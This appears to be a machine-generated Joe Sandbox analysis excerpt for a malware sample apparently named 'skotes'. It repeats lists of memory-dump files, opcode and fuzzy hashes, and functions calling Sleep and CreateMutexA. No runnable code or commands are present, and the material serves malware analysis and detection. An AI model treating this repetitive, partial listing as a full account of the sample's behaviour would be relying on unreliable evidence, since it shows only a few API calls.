Associated: 00000003.00000002.2109175438.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109209168.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109307172.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109335255.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109363506.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109392230.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109419702.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109450368.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109478328.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6c12b3c76b8032447d206a63e02f180069e9bf833cf50b7e6a43914ffe888b35
Instruction ID: 50ceed619d3c19d0ff9feda28d7ab5078f8c7ce84d3a2c20d55f6d0140822125
Opcode Fuzzy Hash: 6c12b3c76b8032447d206a63e02f180069e9bf833cf50b7e6a43914ffe888b35
Instruction Fuzzy Hash: C83126316041049BFB08FBB8CDC9B6DB7E2DB86314F24429AE014E77E5D736A980C752

Function 00B8A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2103312526.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103555649.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104031818.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104182494.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104328626.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104355466.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104524978.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105359541.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105391925.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107323695.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107347684.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107502096.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107534327.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107606772.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107639919.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107688681.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107747559.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107859879.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108406184.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108444054.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108525105.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108569360.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108689597.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108789438.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108823392.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108858080.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108889989.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108918769.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108956688.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108987647.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109019719.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109051888.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109085504.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109123437.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109155151.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109175438.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109209168.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109307172.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109335255.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109363506.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109392230.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109419702.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109450368.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109478328.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1457315786407af01e0575a1371925d5d92fd39636c10291ab4da983ccb4b291
Instruction ID: 57894a2c0de3251531940f7146a81b27ff330b77cc00b1d649b131159c0b8825
Opcode Fuzzy Hash: 1457315786407af01e0575a1371925d5d92fd39636c10291ab4da983ccb4b291
Instruction Fuzzy Hash: 07312631A041409BFB18FBB8DDC9B6DB7E2EB86314F24429AE014A72E5D7369980C712

Function 00B8A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2103312526.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103555649.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104031818.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104182494.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104328626.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104355466.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104524978.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105359541.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105391925.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107323695.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107347684.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107502096.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107534327.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107606772.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107639919.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107688681.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107747559.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107859879.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108406184.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108444054.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108525105.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108569360.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108689597.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108789438.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108823392.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108858080.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108889989.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108918769.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108956688.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108987647.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109019719.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109051888.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109085504.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109123437.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109155151.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109175438.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109209168.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109307172.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109335255.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109363506.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109392230.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109419702.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109450368.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109478328.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: faeeec8e6bcd9781fabb0e6e943f7dec6215b6a0fa9d1542fd49171138024012
Instruction ID: c7ff03893d5e10e28af764e04a87889961ab918fb232306b0f67f0f6f8998705
Opcode Fuzzy Hash: faeeec8e6bcd9781fabb0e6e943f7dec6215b6a0fa9d1542fd49171138024012
Instruction Fuzzy Hash: 12311A316041409BFF08BBB8D9C9B6DBBE2DFC5314F24429AE0549B3E5D7B59980C752

Function 00B8A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2103312526.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103555649.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104031818.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104182494.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104328626.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104355466.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104524978.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105359541.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105391925.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107323695.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107347684.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107502096.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107534327.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107606772.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107639919.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107688681.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107747559.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107859879.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108406184.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108444054.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108525105.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108569360.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108689597.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108789438.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108823392.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108858080.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108889989.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108918769.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108956688.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108987647.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109019719.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109051888.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109085504.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109123437.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109155151.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109175438.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109209168.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109307172.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109335255.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109363506.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109392230.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109419702.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109450368.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109478328.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 728871e27dd93333793b55aa427c1afedc8e056ade11ca995d40cc597f1b1d88
Instruction ID: 87ee3a3dafe865c870e9f267648737b851f0e1ca81b2847c0b16312b40c32b29
Opcode Fuzzy Hash: 728871e27dd93333793b55aa427c1afedc8e056ade11ca995d40cc597f1b1d88
Instruction Fuzzy Hash: 25312A316041049BFB08EB78DDC9BADBBE2EB86314F24469AE054DB2E5DB759980C712

Function 00B8A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2103312526.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103555649.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104031818.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104182494.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104328626.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104355466.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104524978.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105359541.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105391925.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107323695.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107347684.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107502096.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107534327.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107606772.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107639919.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107688681.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107747559.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107859879.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108406184.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108444054.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108525105.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108569360.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108689597.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108789438.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108823392.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108858080.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108889989.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108918769.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108956688.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108987647.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109019719.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109051888.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109085504.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109123437.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109155151.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109175438.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109209168.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109307172.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109335255.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109363506.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109392230.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109419702.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109450368.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109478328.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0a8827b340109240946d642d71d550fc012c045548ab1afd3910627103f1b47a
Instruction ID: b8e212ea1b36830476dde875e0c46ca8294f2eee6cc5290f133f053d54e77606
Opcode Fuzzy Hash: 0a8827b340109240946d642d71d550fc012c045548ab1afd3910627103f1b47a
Instruction Fuzzy Hash: E83139316041049BFB08EB78DDC9B6DBBF2DB86314F24869AE018DB2E5D7759980C752

Function 00B89ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2103312526.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103555649.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104031818.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104182494.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104328626.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104355466.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104524978.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105359541.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2105391925.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107323695.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107347684.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107390839.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107502096.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107534327.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107606772.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107639919.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107688681.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107747559.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107859879.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2107951609.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108406184.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108444054.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108525105.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108569360.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108689597.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108789438.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108823392.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108858080.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108889989.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108918769.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108956688.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
